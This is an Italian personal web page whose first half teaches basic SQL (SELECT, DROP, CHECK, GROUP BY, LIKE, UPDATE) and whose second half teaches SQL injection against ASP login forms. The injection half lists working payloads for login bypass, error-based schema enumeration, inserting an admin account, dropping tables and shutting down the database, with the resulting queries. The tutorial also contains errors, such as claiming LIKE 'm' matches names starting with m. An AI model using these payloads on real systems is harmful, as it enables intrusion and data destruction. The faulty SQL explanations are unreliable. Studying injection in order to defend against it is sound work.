BENVENUTO

 

°°°SQL E SQL INJECTION°°°

[SQL]

Il linguaggio SQL (Structured Query Language) è un linguaggio di tipo non procedurale che consente di operare sui dati di un database tramite frasi che non fanno uso di simboli matematici ed algebrici, ma solo di parole chiave prese dal linguaggio corrente; questo, insieme alla sintassi che riprende forme usuali, fa sì che le frasi abbiano una struttura lineare ed espressiva. In particolare il termine Structured (strutturato) di SQL è riferito al fatto che si può inserire un'interrogazione all'interno di un'altra interrogazione; più in generale si parla di query innestate.

Per quanto riguarda il linguaggio per la definizione dei dati si hanno tre istruzioni: CREATE, ALTER, DROP.

Per quanto riguarda il linguaggio per la manipolazione dei dati si hanno tre istruzioni: INSERT, UPDATE, DELETE.

Per quanto riguarda il linguaggio il controllo dei dati si hanno tre istruzioni: GRANT, REVOKE.

Per quanto riguarda i vincoli di integrità generici abbiamo il CHECK.

L'istruzione SELECT serve per estrarre informazioni dal database.
La sua sintassi è la seguente:

SELECT [ ALL | DISTINCT ] colonne (*)
FROM tabelle
[ WHERE condizioni ]
[ GROUP BY lista_attributi ]
[ HAVING condizioni ]
[ ORDER BY lista_attributi ]

ALL significa che vengono restituite tutte le tuple ottenute dall'interrogazione; in genere, ALL è di default cioè viene sottointeso a meno che non si usano condizioni where.

DISTINCT significa che restituisce solo le tuple che sono uniche nel risultato, cioè produce una "relazione" e non solamente una "tabella".

L'istruzione DROP TABLE serve per cancellare una tabella esistente. L'istruzione è

DROP TABLE nome_tabella

L'istruzione DROP INDEX serve per cancellare un indice su una tabella. L'istruzione è:

DROP INDEX nome_indice

L'istruzione DROP VIEW serve per cancellare una vista esistente. L'istruzione è:

DROP VIEW nome_view

L'istruzione DROP DATABASE serve per cancellare tutto il database.

Esempio del check

create table Impiegato (

Matricola character(6) primary key,

Cognome character(20),

Sesso char not null check (Sesso in (‘M’,‘F’)),

Stipendio integer,

Superiore character(6),

check (Stipendio <= (select Stipendio from Impiegato J where Superiore = J.Matricola)

)

 

Check

Check viene seguito da una condizione, che puo’ essere espressa come se si trattasse di una clausola where. Check e’ piu’ potente degli altri costrutti per specificare vincoli di SQL.

GROUP BY

L'operatore GROUP BY serve a raggruppare i risultati di una SELECT in base al campo specificato dopo il BY. Un uso speciale dell’istruzione GROUP BY è di associare una funzione di aggregazione (nella fattispecie COUNT; conta il numero di righe in ciascun gruppo) con dei gruppi di righe.

SELECT <campo><funzione stat.>FROM <tabelle>[WHERE <condizione>]GROUP BY <campo>

dove <campo> deve essere lo stesso nella SELECT e nel GROUP BY.

SELECT Luogo,COUNT(*) FROM Fotografie GROUP BY Luogo 

 

Luogo

COUNT(*)

Venezia

3

Bassano d.Grappa

1

Roma

2

WHERE E HAVING

Le clausole WHERE e HAVING di un'istruzione SELECT consentono di specificare le righe delle tabelle di origine con cui generare il set di risultati. Le clausole WHERE e HAVING sono filtri che specificano una serie di condizioni di ricerca. Solo le righe che soddisfano tali condizioni verranno incluse nel set di risultati. Tali righe sono definite qualificate per partecipare al set di risultati. La clausola WHERE nell'istruzione SELECT seguente consente, ad esempio, di restringere le righe solo a una zona di vendita specifica:

SELECT * FROM <TABELLA> WHERE TABELLA.NOME = “LUCA”

La clausola HAVING è generalmente utilizzata insieme alla clausola GROUP BY per filtrare i risultati di valori aggregati. È tuttavia possibile specificare la clausola HAVING senza la clausola GROUP BY. La clausola HAVING specifica ulteriori filtri che vengono applicati successivamente ai filtri specificati dalla clausola WHERE. Questi filtri possono essere applicati a una funzione di aggregazione utilizzata nell'elenco SELECT.

Like

 “utile come motore di ricerca”

 

Like permette di ricercare nei records parole, numeri o parti di essi (iniziali, centrali e finali). La sintassi è leggermente diversa, ma molto semplice:

SELECT nome FROM anagrafici WHERE nome LIKE 'm'

 

In questo caso vengono dati come risultati tutti i dati, che sono presenti nella colonna nome e che iniziano per M. Per cercare invece nomi che finiscono per M si utilizza la seguente query:

SELECT nome FROM anagrafici WHERE nome LIKE '%m'

 

Infine per cercare nomi che finiscono, iniziano o che contengono la M, si utilizza la seguente query:

SELECT nome FROM anagrafici WHERE nome LIKE '%m%'

 

USO UPDATE

Come gia detto la funzione update serve per aggiornare i dati in una determinata tabella, adesso vediamo le sintassi:

1) UPDATE alunni SET cognome='COGb0' where cognome like '%2%'

2) UPDATE alunni SET cognome= replace(cognome,'2','B')

Nel 1 caso aggiorniamo la tabella alunni e settiamo tutti i record di cognome a COGb0 dove solo è presente precedentemente all’aggiornamento il carattere 2.

Nel caso 2 aggiorniamo facendo una sostituzione dove è possibile ovvero per ogni record di alunni si controlla se nel campo cognome vi è il 2 contenuto se vero verrà sostituito con B.

Operatori di aggregazione

 

SELECT AVG(V.età) FROM Velisti V WHERE V.esperienza=10

SELECT COUNT(*) FROM Velisti V

SELECT AVG(DISTINCT V.età) FROM Velisti V  WHERE V.esperienza = 10

SELECT V.vnome FROM Velisti V WHERE V.esperienza =

(SELECT MAX(V2.esperienza) FROM Velisti V2)

SELECT COUNT (DISTINCT V.esperienza) FROM Velisti V WHERE V.vnome = ‘Bob’

 

 

[TECNICHE DI SQL INJECTION]

 

La tecnica detta SQL Injection consiste nell'inserire (inniettare) istruzioni SQL, in modo da poter accedere al database anche quando non si ha l'autorizzazione. Per SQL Injection si intendono anche tutti quegli attacchi ad un’applicazione, solitamente web, in cui il programma esegue query su di un database SQL utilizzando variabili passate dall’utente senza averle precedentemente verificate.

Una tipica istruzione SQL può essere:

 

select id, nome, cognome from utenti

 

Questa istruzione da in uscita tutte le righe della tabella 'utenti' relativa alle colonne 'id', 'nome', 'cognome'. L'insieme di elementi in uscita può essere ristretto utilizzando:

select id, nome, cognome, from utenti where nome='mario' and cognome='rossi'

Il punto fondamentale da notare è che le stringhe 'mario' e 'rossi' sono delimitate dall'apice singolo. Supponendo che i campi 'nome' e 'cognome' siano inseriti dall'utente, l'attacco può essere portato in questa maniere.

nome: ma'rio

cognome: rossi

 

L'istruzione diventa:

select id, nome, cognome from utenti where nome='ma'rio' and cognome='rossi'

 

Quando si cerca di eseguire questa istruzione viene generato il seguente messaggio di errore.

 

Line 1: Incorrect syntax nera rio'

 

Questo perchè l'inserimento dell'apice da parte dell'utente termina la stringa nome e quello che viene dopo è considerato istruzione. Inserendo, ad esempio:

 

nome: xy '; drop table utenti

cognome:

 

La tabella utenti verrà cancellata….

 

Nell'ottica di penetrare in un sistema tramite l'inserimento di login e password è molto importante determinare la struttura del database, questo per poter accedere a tutti i dati memorizzati ed eventualmente modificarli. Supponiamo che sia stata creata la tabella 'users' tramite i seguenti comandi.

create table users(id int, username varchar(255), password varchar(255), privs int)

e che poi siano stati inseriti i seguente dati,

insert into users values(0, 'admin', 'r00tr00', 0xffff)

insert into users values(0, 'guest', 'guest', 0x0000)

insert into users values(0, 'rossi', 'sesamo', 0x00ff)

insert into users values(0, 'bianchi', 'romano', 0x00ff)

 

 

Supponiamo che l'intruso voglia creare l'account per sé. Chiaramente senza conoscere la struttura della tabella difficilmente avrebbe successo. Per sua fortuna è possibile inserire istruzioni apposite che facilitano di molto il suo compito. Studiando i messaggi di errore, restituiti per default dalle applicazioni sviluppate in ASP, è possible determinare l'intera struttura del database e leggerne tutti i dati inseriti.

Vediamo qualche esempio.

Per prima cosa l'intruso deve determinare il nome della tabella e quello dei vari campi. Per fare questo si utilizza l'opzione 'having' del comando 'select':

username: ' having 1=1 --

Questo produrrà il seguente errore:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate

function and there is no GROUP BY clause. /process_login.asp, line 35

 

Quindi l'intruso conosce il nome della tabella e della prima colonna. Muovendosi attraverso le colonne sfruttando il comando 'group by', è possibile ottenere il nome di tutte le colonne nel modo seguente:

 

username: 'group by users.id having 1=1 --

 

che produce il seguente messaggio di errore

 

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an

aggregate function or the GROUP BY clause. /process_login.asp, line 35

da cui si ottiene il nome della seconda colonna. Continuando in questa maniera si arriva fino ad inserire

username: ' group by users.id, users.username, users.password, users.privs having 1=1 --

che non restituisce nessun messaggio di errore. In questo modo si è trovato il nome di ogni colonna della tabella. È molto utile anche sapere il tipo di ogni colonna. Questo può essere fatto usando il messaggio di errore dato dall'istruzione di 'conversione di tipo'.

Ad esempio si può inserire

username: ' union select sum(username) from users--

 

Qui si sfrutta la debolezza dell'istruzione 'sum' che cerca di applicare il comando prima di verificare che il campo sia numerico. Se l'istruzione viene applicata ad un campo testuale si ottiene il seguente messaggio di errore

 

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35

 

e da questo si stabilisce che il campo 'username' è di tipo 'varchar'. Se invece il campo è numerico si ha il seguente messaggio.

 

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of

expressions in their target lists. /process_login.asp, line 35

 

In questa maniera è possibile determinare l'intera struttura del database. Con queste informazioni è possibile per l'intruso inserire l'account desiderato utilizzando una istruzione di questo tipo.

username: '; insert into users values(666, 'intruso', 'apriti', 0xffff) –

 

E' spesso utilizzato per entrare nelle aree riservate dei siti web dinamici che archiviano i dati per l'autenticazione degli utenti in database Immaginiamo un form HTML con due semplici campi Nome e password

<FORM ACTION="identifica.asp" METHOD="POST">

<br>Nome Utente<INPUT TYPE=TEXT NAME="nome" SIZE=20>

<br>Password<INPUT TYPE=TEXT NAME="password" SIZE=20>

<br><input type=SUBMIT name="login" value="Entra" ><br>

</FORM>

La pagina Identifica.asp contiene generalmente un algoritmo di identificazione che viene spesso utilizzato nei siti con area riservata

nome = Request.Form("nome") 'recupero il nome
password = Request.Form("password") 'recupero la password
sql= "SELECT *FROM Utenti WHERE nome= '"&nome&" ' AND password='"&password& "'"
Set Rs=Conn.Execute(sql) 'eseguo la query
if rs.EOF then 'controllo se esiste nell'intera tabella utenti
    Response.Write("Utente non Autorizzato")
else
   Response.Write("Utente Autorizzato: Nome " &Rs("nome"))
end if
rs.close

Il database Contiene la tabella utenti coni record

id   Nome     Password

0 "Admin" "HD3R45JFH"

1 "Ciccio" "HFTUT"

2 "Pippo " "REWDEWR"

3 "Pluto" "FSEWRSD"

E' possibile bucare questo sistema di protezione nei seguenti modi

Nome: ' OR ''='
Password: ' OR ''='
Query Risultante : SELECT * FROM Utenti WHERE nome= ' ' OR ''=' ' AND password='' OR ''=' '
Effetto
si viene identificati con il primo record del database

Nome: ' OR '1'='1
Password: ' OR '1'='1
Query Risultante: SELECT * FROM Utenti WHERE nome= '' OR '1'='1 ' AND password='' OR '1'='1 '
Effetto
si viene identificati con il primo record del database

Nome: ' or '1=1 ---
Password: ' or '1=1 ---
Query Risultante: SELECT * FROM Utenti WHERE nome= '' or '1=1 --- ' AND password='' or '1=1 ---'
Effetto si viene identificati con il primo record del database

Nome:' or Nome like '%%
Password: ' or Nome like '%%
Query Risultante: SELECT * FROM Utenti WHERE nome= '' or Nome like '%% ' AND password='' or Nome like '%%'
Effetto
si viene identificati con il primo record del database

Nome: [stringa nulla]
Password: ' OR 'Attacco' LIKE 'Att%
Query Risultante: SELECT * FROM Utenti WHERE nome= ' ' AND password='' OR 'Attacco' LIKE 'Att%'
Effetto:
Autenticazione come utente admin

Nome:[una stringa qualsiasi]
Password: c' OR ' TRUE—
Query Risultante: SELECT * FROM Utenti WHERE nome= ' ' AND password='c' OR ' TRUE—'
Effetto: si viene identificati con il primo record del database

Nome: admin' --
Password: [stringa nulla]
Query Risultante: SELECT * FROM Utenti WHERE nome= ' admin' --' AND password=' '
Effetto:
Autenticazione come utente admin

Nome: ' OR 'Attacco' > 'A
Password: ' OR 'Attacco' > 'A
Query Risultante: SELECT * FROM Utenti WHERE nome= ' ' OR 'Attacco' > 'A' AND password=''OR 'Attacco' > 'A'
Effetto:
Autenticazione come utente admin

Nome: ' ; drop table utenti--
Password: [stringa nulla]
Query Risultante: SELECT * FROM Utenti WHERE nome= ' ' ; drop table utenti--' AND password=' '
Effetto: Eliminazione della tabella dal database

Nome: aaaaaaaaaaaaaaa'
Password: ' ; shutdown --
Query Risultante: SELECT * FROM Utenti WHERE nome= ' aaaaaaaaaaaaaaa'' AND password='' ; shutdown --'
Effetto:
Chiusura del database

TEST SQL ATTACK
Microsoft Access Driver (*.mdb)
 
 
 
 

ATTESTATI

PATENTE EUROPEA
E. C. D. L.

TRINITY

Tested with: Mozilla Firefox 1.7.8, Internet Explorer 6.0.29